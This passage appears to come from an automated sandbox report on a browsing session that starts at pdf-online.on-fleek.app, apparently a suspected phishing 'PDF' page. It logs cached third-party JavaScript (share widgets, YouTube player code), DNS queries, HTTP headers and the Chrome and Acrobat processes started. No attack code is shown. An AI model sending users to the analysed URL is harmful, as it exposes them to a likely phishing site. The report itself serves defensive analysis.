share-"+o+"-"+e+"'></a>").appendTo(i)}),t("#"+m+".share-"+o).css("margin",h),"horizontal"!=a?t("#"+m+" a.share-"+o).css("display","block"):t("#"+m+" a.share-"+o).css("display","inline-block"),"undefined"!=typeof u&&(i.addClass("share-affix"),-1!=u.indexOf("right")?(i.css("left","auto"),i.css("right","0px"),-1!=u.indexOf("center")&&i.css("top","40%")):-1!=u.indexOf("left center")&&i.css("top","40%"),-1!=u.indexOf("bottom")&&(i.css("bottom","0px"),i.css("top","auto"),-1!=u.indexOf("center")&&i.css("left","40%"))),t(".pop").click(function(){return e.open(t(this).attr("href"),"t","toolbar=0,resizable=1,status=0,width=640,height=528"),!1})})}},n={networkDefs:{facebook:{url:"http://www.facebook.com/share.php?u=\|u\|"},twitter:{url:"https://twitter.com/share?via=in1.com&text=\|140\|"},linkedin:{url:"http://www.linkedin.com/shareArticle?mini=true&url=\|u\|&title=\|t\|&summary=\|d\|&source=in1.com"},in1:{url:"http://www.in1.com/cast?u=\|u\|",w:"490",h:"529"},tumblr:{url:"http://www.tumblr.com/share?v=3&u=\|u\|"},digg:{url:"http://digg.com/submit?url=\|u\|&title=\|t\|"},googleplus:{url:"https://plusone.google.com/_/+1/confirm?hl=en&url=\|u\|"},reddit:{url:"http://reddit.com/submit?url=\|u\|"},pinterest:{url:"http://pinterest.com/pin/create/button/?url=\|u\|&media=&description=\|d\|"},posterous:{url:"http://posterous.com/share?linkto=\|u\|&title=\|t\|"},stumbleupon:{url:"http://www.stumbleupon.com/submit?url=\|u\|&title=\|t\|"},email:{url:"mailto:?subject=\|t\|"}}};return r[i]?r[i].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof i&&i?void t.error('Method "'+i+'" does not exist in social plugin'):r.init.apply(this,arguments)},t.fn.share.defaults={networks:["in1","facebook","twitter","linkedin"],theme:"icon",autoShow:!0,margin:"3px",orientation:"horizontal",useIn1:!0},t.fn.share.settings={}}(jQuery,window); equals www.linkedin.com (Linkedin)
Source: chromecache_880.2.dr	String found in binary or memory: !function(t,e){var s=e.document;t.fn.share=function(i){var r={init:function(i){this.share.settings=t.extend({},this.share.defaults,i);var r=(this.share.settings,this.share.settings.networks),o=this.share.settings.theme,a=this.share.settings.orientation,u=this.share.settings.affix,h=this.share.settings.margin,l=this.share.settings.title\|\|t(s).attr("title"),c=this.share.settings.urlToShare\|\|t(location).attr("href"),p="";return t.each(t(s).find('meta[name="description"]'),function(e,s){p=t(s).attr("content")}),this.each(function(){var s,i=t(this),m=i.attr("id"),d=encodeURIComponent(c),f=l.replace("\|",""),g=p.substring(0,250);r.forEach(function(e){s=n.networkDefs[e].url,s=s.replace("\|u\|",d).replace("\|t\|",f).replace("\|d\|",g).replace("\|140\|",f.substring(0,130)),t("<a href='"+s+"' title='Share this page on "+e+"' class='pop share-"+o+" share-"+o+"-"+e+"'></a>").appendTo(i)}),t("#"+m+".share-"+o).css("margin",h),"horizontal"!=a?t("#"+m+" a.share-"+o).css("display","block"):t("#"+m+" a.share-"+o).css("display","inline-block"),"undefined"!=typeof u&&(i.addClass("share-affix"),-1!=u.indexOf("right")?(i.css("left","auto"),i.css("right","0px"),-1!=u.indexOf("center")&&i.css("top","40%")):-1!=u.indexOf("left center")&&i.css("top","40%"),-1!=u.indexOf("bottom")&&(i.css("bottom","0px"),i.css("top","auto"),-1!=u.indexOf("center")&&i.css("left","40%"))),t(".pop").click(function(){return e.open(t(this).attr("href"),"t","toolbar=0,resizable=1,status=0,width=640,height=528"),!1})})}},n={networkDefs:{facebook:{url:"http://www.facebook.com/share.php?u=\|u\|"},twitter:{url:"https://twitter.com/share?via=in1.com&text=\|140\|"},linkedin:{url:"http://www.linkedin.com/shareArticle?mini=true&url=\|u\|&title=\|t\|&summary=\|d\|&source=in1.com"},in1:{url:"http://www.in1.com/cast?u=\|u\|",w:"490",h:"529"},tumblr:{url:"http://www.tumblr.com/share?v=3&u=\|u\|"},digg:{url:"http://digg.com/submit?url=\|u\|&title=\|t\|"},googleplus:{url:"https://plusone.google.com/_/+1/confirm?hl=en&url=\|u\|"},reddit:{url:"http://reddit.com/submit?url=\|u\|"},pinterest:{url:"http://pinterest.com/pin/create/button/?url=\|u\|&media=&description=\|d\|"},posterous:{url:"http://posterous.com/share?linkto=\|u\|&title=\|t\|"},stumbleupon:{url:"http://www.stumbleupon.com/submit?url=\|u\|&title=\|t\|"},email:{url:"mailto:?subject=\|t\|"}}};return r[i]?r[i].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof i&&i?void t.error('Method "'+i+'" does not exist in social plugin'):r.init.apply(this,arguments)},t.fn.share.defaults={networks:["in1","facebook","twitter","linkedin"],theme:"icon",autoShow:!0,margin:"3px",orientation:"horizontal",useIn1:!0},t.fn.share.settings={}}(jQuery,window); equals www.twitter.com (Twitter)
Source: chromecache_880.2.dr	String found in binary or memory: "function"!=typeof Object.create&&(Object.create=function(e){function t(){}return t.prototype=e,new t}),function(e,t,o){var a=function(e){var t=o.createElement("script"),a=o.getElementsByTagName("head")[0];t.src=location.protocol+"//www.youtube.com/iframe_api",a.appendChild(t),a=null,t=null,n(e)},n=function(o){"undefined"==typeof YT&&"undefined"==typeof t.loadingPlayer?(t.loadingPlayer=!0,t.dfd=e.Deferred(),t.onYouTubeIframeAPIReady=function(){t.onYouTubeIframeAPIReady=null,t.dfd.resolve("John"),o()}):t.dfd.done(function(e){o()})};YTPlayer={player:null,defaults:{ratio:16/9,videoId:"LSmgKRx5pBo",mute:!0,repeat:!0,width:e(t).width(),playButtonClass:"YTPlayer-play",pauseButtonClass:"YTPlayer-pause",muteButtonClass:"YTPlayer-mute",volumeUpClass:"YTPlayer-volume-up",volumeDownClass:"YTPlayer-volume-down",start:0,pauseOnScroll:!1,fitToBackground:!0,playerVars:{modestbranding:1,autoplay:1,controls:0,showinfo:0,wmode:"transparent",branding:0,rel:0,autohide:0,origin:t.location.origin},events:null},init:function(o,n){var i=this;return i.userOptions=n,i.$body=e("body"),i.$node=e(o),i.$window=e(t),i.defaults.events={onReady:function(e){i.onPlayerReady(e),i.options.pauseOnScroll&&i.pauseOnScroll(),"function"==typeof i.options.callback&&i.options.callback.call(this)},onStateChange:function(e){1===e.data?i.$node.addClass("loaded"):0===e.data&&i.options.repeat&&i.player.seekTo(i.options.start)}},i.options=e.extend(!0,{},i.defaults,i.userOptions),i.ID=(new Date).getTime(),i.holderID="YTPlayer-ID-"+i.ID,i.options.fitToBackground?i.createBackgroundVideo():i.createContainerVideo(),i.$window.on("resize.YTplayer"+i.ID,function(){i.resize(i)}),a(i.onYouTubeIframeAPIReady.bind(i)),i.resize(i),i},pauseOnScroll:function(){var e=this;e.$window.on("scroll.YTplayer"+e.ID,function(){var t=e.player.getPlayerState();1===t&&e.player.pauseVideo()}),e.$window.scrollStopped(function(){var t=e.player.getPlayerState();2===t&&e.player.playVideo()})},createContainerVideo:function(){var t=this,o=e('<div id="ytplayer-container'+t.ID+'" > <div id="'+t.holderID+'" class="ytplayer-player"></div> </div> <div id="ytplayer-shield"></div>');t.$node.append(o),t.$YTPlayerString=o,o=null},createBackgroundVideo:function(){var t=this,o=e('<div id="ytplayer-container'+t.ID+'" class="ytplayer-container background"> <div id="'+t.holderID+'" class="ytplayer-player"></div> </div> <div id="ytplayer-shield"></div>');t.$node.append(o),t.$YTPlayerString=o,o=null},resize:function(t){var o=e(".media-container");t.options.fitToBackground\|\|(o=t.$node);var a,n,i=o.width(),r=o.height(),l=e("#"+t.holderID);i/t.options.ratio<r?(a=Math.ceil(r*t.options.ratio),l.width(a).height(r).css({left:(i-a)/2,top:0})):(n=Math.ceil(i/t.options.ratio),l.width(i).height(n).css({left:0,top:0})),l=null,o=null},onYouTubeIframe
Source: chromecache_1244.2.dr	String found in binary or memory: (g.rk(c,"redirector.googlevideo.com"),d=c.toString()):c.j.match("rr?[1-9].*\\.c\\.youtube\\.com$")?(g.rk(c,"www.youtube.com"),d=c.toString()):(c=iwa(d),jE(c)&&(d=c));c=new g.XL(d);c.set("cmo=pf","1");e&&c.set("cmo=td","a1.googlevideo.com");return c}; equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: 0?"http":"https";this.Ca=iE((b?b.customBaseYoutubeUrl:a.BASE_YT_URL)\|\|"")\|\|iE(this.mf)\|\|this.protocol+"://www.youtube.com/";h=b?b.eventLabel:a.el;d="detailpage";h==="adunit"?d=this.D?"embedded":"detailpage":h==="embedded"\|\|this.N?d=is(d,h,GJa):h&&(d="embedded");this.Ja=d;Qqa();h=null;d=b?b.playerStyle:a.ps;f=g.Vb(HJa,d);!d\|\|f&&!this.N\|\|(h=d);this.playerStyle=h;this.K=g.Vb(HJa,this.playerStyle);this.houseBrandUserStatus=b==null?void 0:b.houseBrandUserStatus;this.qa=this.K&&this.playerStyle!=="play"&& equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: Io.prototype.Ia=function(){return this.C};var kna=(new Date).getTime();var xla="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),yla=/\bocr\b/;var Ala=/(?:\[\|%5B)([a-zA-Z0-9_]+)(?:\]\|%5D)/g;var Qab=0,Rab=0,Sab=0;var Ro;g.Ko=null;g.Mo=!1;g.So=1;Ro=Symbol("SIGNAL");g.To={version:0,s_:0,Pm:!1,eg:void 0,Ry:void 0,Bn:void 0,NL:0,ij:void 0,Ou:void 0,aF:!1,pP:!1,P1:function(){return!1}, equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: LIa=function(a,b){if(!a.j["0"]){var c=new VF("0","fakesb",{video:new RF(0,0,0,void 0,void 0,"auto")});a.j["0"]=b?new oN(new g.XL("http://www.youtube.com/videoplayback"),c,"fake"):new FN(new g.XL("http://www.youtube.com/videoplayback"),c,new $M(0,0),new $M(0,0))}}; equals www.youtube.com (Youtube)
Source: chromecache_696.2.dr	String found in binary or memory: Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Yj:function(){e=zb()},nd:function(){d()}}};var gc=ja(["data-gtm-yt-inspected-"]),FC=["www.youtube.com","www.youtube-nocookie.com"],GC,HC=!1; equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: a))):this.api.U().L("enable_adb_handling_in_sabr")&&c==="BROWSER_OR_EXTENSION_ERROR"&&!d.K?(d=d.hostLanguage,a="//support.google.com/youtube/answer/3037019#zippy=%2Cupdate-your-browser-and-check-your-extensions",d&&(a=g.Ui(a,{hl:d})),this.Cd(rY(this,"BROWSER_OR_EXTENSION_ERROR",a))):this.Cd(g.pY(a.errorMessage)):this.Cd(rY(this,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT","//www.youtube.com/supported_browsers")):(a=d.hostLanguage,c="//support.google.com/youtube/?p=player_error1",a&&(c=g.Ui(c, equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: a.details.rc!=="429"?a.errorCode==="ump.spsrejectfailure"&&(e="HTML5_SPS_UMP_STATUS_REJECTED"):(e="TOO_MANY_REQUESTS",f="6");this.ea.Qf(a.errorCode,a.severity,e,DF(a.details),f)}else this.ea.publish("nonfatalerror",a),d=/^pp/.test(this.videoData.clientPlaybackNonce),this.Fd(a.errorCode,a.details),d&&a.errorCode==="manifest.net.connect"&&(a="https://www.youtube.com/generate_204?cpn="+this.videoData.clientPlaybackNonce+"&t="+(0,g.It)(),iT(a,"manifest",function(h){b.K=!0;b.ma("pathprobe",h)},function(h){b.Fd(h.errorCode, equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: a.ismb);this.eq?(r=a.vss_host\|\|"s.youtube.com",r==="s.youtube.com"&&(r=sP(this.Ca)\|\|"www.youtube.com")):r="video.google.com";this.Rn=r;tP(this,a,!0);this.La=new OO;g.P(this,this.La);q=b?b.innertubeApiKey:ks("",a.innertube_api_key);p=b?b.innertubeApiVersion:ks("",a.innertube_api_version);r=b?b.innertubeContextClientVersion:ks("",a.innertube_context_client_version);q=g.$q("INNERTUBE_API_KEY")\|\|q;p=g.$q("INNERTUBE_API_VERSION")\|\|p;l=g.$q("INNERTUBE_CONTEXT_CLIENT_CONFIG_INFO");m=HO(this);n=typeof this.j.c=== equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: b=this.api.U();a=this.api.getVideoData();var c="";b.C\|\|(b=g.xP(b),b.indexOf("www.")===0&&(b=b.substring(4)),c=g.DR(a)?"Watch on YouTube Music":b==="youtube.com"?"Watch on YouTube":g.AE("Watch on $WEBSITE",{WEBSITE:b}));this.updateValue("title",c)}; equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: g.KP=function(a){var b=g.xP(a);RJa.includes(b)&&(b="www.youtube.com");return a.protocol+"://"+b}; equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: g.k.getVideoUrl=function(a,b,c,d,e,f,h){b={list:b};c&&(e?b.time_continue=c:b.t=c);c=h?"music.youtube.com":g.xP(this);e=c==="www.youtube.com";!f&&d&&e?f="https://youtu.be/"+a:g.oP(this)?(f="https://"+c+"/fire",b.v=a):(f&&e?(f=this.protocol+"://"+c+"/shorts/"+a,d&&(b.feature="share")):(f=this.protocol+"://"+c+"/watch",b.v=a),au&&(a=ana())&&(b.ebc=a));return g.Ui(f,b)}; equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: g.xP=function(a){a=sP(a.Ca);return a==="www.youtube-nocookie.com"?"www.youtube.com":a}; equals www.youtube.com (Youtube)
Source: chromecache_696.2.dr	String found in binary or memory: if(!(e\|\|f\|\|g\|\|k.length\|\|m.length))return;var p={eh:e,ah:f,bh:g,Ph:k,Qh:m,Ge:n,Bb:b},q=C.YT;if(q)return q.ready&&q.ready(d),b;var r=C.onYouTubeIframeAPIReady;C.onYouTubeIframeAPIReady=function(){r&&r();d()};F(function(){for(var t=E.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(QC(w,"iframe_api")\|\|QC(w,"player_api"))return b}for(var x=E.getElementsByTagName("iframe"),y=x.length,A=0;A<y;A++)if(!HC&&OC(x[A],p.Ge))return wc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_705.2.dr, chromecache_940.2.dr	String found in binary or memory: return b}DC.H="internal.enableAutoEventOnTimer";var gc=ja(["data-gtm-yt-inspected-"]),FC=["www.youtube.com","www.youtube-nocookie.com"],GC,HC=!1; equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: this.Y.Aa&&(a.authuser=this.Y.Aa);this.Y.pageId&&(a.pageid=this.Y.pageId);isNaN(this.cryptoPeriodIndex)\|\|(a.cpi=this.cryptoPeriodIndex.toString());var e=(e=/_(TV\|STB\|GAME\|OTT\|ATV\|BDP)_/.exec(g.Bb()))?e[1]:"";e==="ATV"&&(a.cdt=e);this.G=a;this.G.session_id=d;this.oa=!0;this.B.flavor==="widevine"&&(this.G.hdr="1");this.B.flavor==="playready"&&(b=Number(JO(b.experiments,"playready_first_play_expiration")),!isNaN(b)&&b>=0&&(this.G.mfpe=""+b),this.oa=!1);b="";g.lO(this.B)?kO(this.B)?(d=c.B)&&(b="https://www.youtube.com/api/drm/fps?ek="+ equals www.youtube.com (Youtube)
Source: chromecache_1244.2.dr	String found in binary or memory: var D2={};var Mdb={Fs:[{JB:/Unable to load player module/,weight:20},{JB:/Failed to fetch/,weight:500},{JB:/XHR API fetch failed/,weight:10},{JB:/JSON parsing failed after XHR fetch/,weight:10},{JB:/Retrying OnePlatform request/,weight:10},{JB:/CSN Missing or undefined during playback association/,weight:100}],Mr:[{callback:K7a,weight:500}]};var X7a=/[&\?]action_proxy=1/,W7a=/[&\?]token=([\w-])/,Y7a=/[&\?]video_id=([\w-])/,Z7a=/[&\?]index=([\d-])/,$7a=/[&\?]m_pos_ms=([\d-])/,b8a=/[&\?]vvt=([\w-]*)/,O7a="ca_type dt el flash u_tz u_his u_h u_w u_ah u_aw u_cd u_nplug u_nmime frm u_java bc bih biw brdim vis wgl".split(" "),a8a="www.youtube-nocookie.com youtube-nocookie.com www.youtube-nocookie.com:443 youtube.googleapis.com www.youtubeedu.com www.youtubeeducation.com video.google.com redirector.gvt1.com".split(" "),R7a={android:"ANDROID", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: pdf-online.on-fleek.app
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: www.citydiamondcontracting.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: i.ytimg.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: static.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: yt3.ggpht.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: tomsher.com
Source: global traffic	DNS traffic detected: DNS query: www.tomsher.com
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=VyL2DB2ayCzgiDeRzfdn0HgmcIe4USBs1LNUtzg3SyQSqKH%2Fzy3P06wNalmtcPSflUw%2FSaEablPKxwZmOliR4meZT0E9EcIlzWFIun6NFikklVpC1VXEBDDPgyeKlxqbkXOvRyKgtDq8 HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 436Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Sep 2024 06:18:11 GMTContent-Type: text/plain; charset=utf-8Content-Length: 192Connection: closeCF-Ray: 8c995ff9ac7243a3-EWRCF-Cache-Status: DYNAMICAccess-Control-Allow-Origin: *Cache-Control: max-age=60, stale-while-revalidate=3600Strict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-Withaccess-control-allow-methods: GET,HEAD,OPTIONSaccess-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-OutputAccess-Control-Max-Age: 86400content-security-policy: upgrade-insecure-requestsreferrer-policy: strict-origin-when-cross-originx-content-type-options: nosniffx-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/favicon.ico/x-request-id: 622fcc78f1b14784ecd62e2bc353a3c0x-xss-protection: 0Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VyL2DB2ayCzgiDeRzfdn0HgmcIe4USBs1LNUtzg3SyQSqKH%2Fzy3P06wNalmtcPSflUw%2FSaEablPKxwZmOliR4meZT0E9EcIlzWFIun6NFikklVpC1VXEBDDPgyeKlxqbkXOvRyKgtDq8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Source: chromecache_995.2.dr	Initial sample: tel:+97180036677
Source: chromecache_995.2.dr	Initial sample: https://www.citydiamondcontracting.com/contact

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2192,i,1005448200650348598,15467487990718780475,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pdf-online.on-fleek.app/"
Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\downloaded.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1716,i,16758670913067445225,6828871122202533892,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://www.citydiamondcontracting.com/contact"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6764 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6700 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2192,i,1005448200650348598,15467487990718780475,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1716,i,16758670913067445225,6828871122202533892,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
